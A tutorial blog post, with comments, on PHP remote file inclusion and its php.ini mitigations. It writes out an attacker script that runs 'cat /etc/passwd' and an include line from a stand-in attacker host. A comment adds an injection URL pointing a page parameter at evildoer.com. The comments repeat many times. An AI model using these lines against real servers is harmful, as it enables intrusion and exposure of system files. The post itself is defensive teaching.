Business and Technology with Common Sense

Lessons in Web Security: PHP and Remote File Execution

Yesterday, we looked at one of the older and well known issues in web security: PHP and register_globals. Today, let’s get a little more scary, shall we? Again, I’ll get specific enough to make my point, but you will have to get creative to figure out how a hacker could actually utilize this exploit.

Today, let’s look at the ability of PHP to remotely execute files.

There are a few functions built into PHP that allow a developer to call a remote file. The include() function is one of them. Under normal situations, include() is used to keep things like database connection scripts, home made function libraries or HTML templates out of the particular script that is being written. It is effective in modularizing development so multiple future changes to a script can be limited to one or maybe a handful of locations and still effect all the necessary scripts that might be utilizing the included file.

However, used maliciously, and with a few other things that need to fall into place, the include() function can be deadly to your website security.

Let’s say for argument sake that an attacker wrote a script called cat.php and placed it on his own web server.

<?php
passthru("cat /etc/passwd");
?>

And to carry the example farther, that he manages to modify a configuration file on your web server that happens to have a very common name, config.php. There are ways to change this but that will remain outside the scope of this entry. Assuming he can gain access to this file to change the contents, it might be formulated like this:

<?php
include('http://www.attackserver.com/cat.php');
?>

Note: If the attacking server has PHP running, then including a file from it will cause the PHP to be executed on the attackers server and not yours, rendering the exercise futile for him.

Now on Linux, the /etc/passwd file is the file that houses all the usernames associated with the box. It is world-readable because many processes in Linux need to be able to read the file to glean useful information about processes and users utilizing the box. In oldish forms of Unix, the password itself was also encrypted and included in this file, thus the naming convention. But with age comes maturity and it became apparent that, though the passwords were encrypted in /etc/passwd file, it was still a security risk to even have them included in a world-readable file. So Linux and some newer forms of Unix keep passwords in a different, non-world-readable file. However, alot of information could still be gleaned from this file.

By pointing his browser to http://www.yourserver.com/config.php, the attacker has now run

cat /etc/passwd

on your server, exposing sensitive file data.

Solution: Of course, what would an exploit be without a solution? For this exploit, there are several recommended methods most of which are not user configurable and require the services and willingness of the web host.

  • Set
    allow_url_fopen

    to off in php.ini.

  • Set
    open_basedir

    in php.ini to a set of directories that PHP is allowed to perform file operations on

  • Set
    safe_mode

    to on in php.ini. This will prevent the use of the system functions like system(), passthru() and exec(), but will also create other problems as well.

  • Use the file_exists() function (which does not work on remote files) to determine the existence of the file to be included on the local filesystem before including it.

So that’s it for today. Hope you learned something. Next up, PHP and the dangers of FTP.

Popularity: 7% [?]

About Aaron
I am the Lead Editor of Technosailor.com, the Author of the WordPress Bible, a WordPress project core contributor, public speaker and an all around badass. If you're interested in having me speak at your event, contact me.

Comments

  1. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  2. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  3. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  4. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  5. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  6. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  7. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  8. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).Matt

  9. Ah yes open_basedir(), figured you’d mention that. Nice idea to use file_exists to check a file before including it. I s’pose there’s lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.

    Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don’t know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.

    And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).

    Matt

  10. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  11. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  12. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  13. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  14. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  15. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  16. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  17. Aaron says:

    Hey Matt,Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)Leave a Comment

  18. Aaron says:

    Hey Matt,
    Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)

    Leave a Comment

  19. Here’s a simple example of why allow_url_fopen is a problem in the real world.

    I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

    And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

    All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

    Moral: allow_url_fopen should *always* be off unless you need it.

    Rob

  20. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  21. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  22. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  23. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  24. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  25. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  26. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob

  27. Here’s a simple example of why allow_url_fopen is a problem in the real world.I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:And then they run it with something like “http://www.example.com/index.php?page=page5.html”.All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.Moral: allow_url_fopen should *always* be off unless you need it.Rob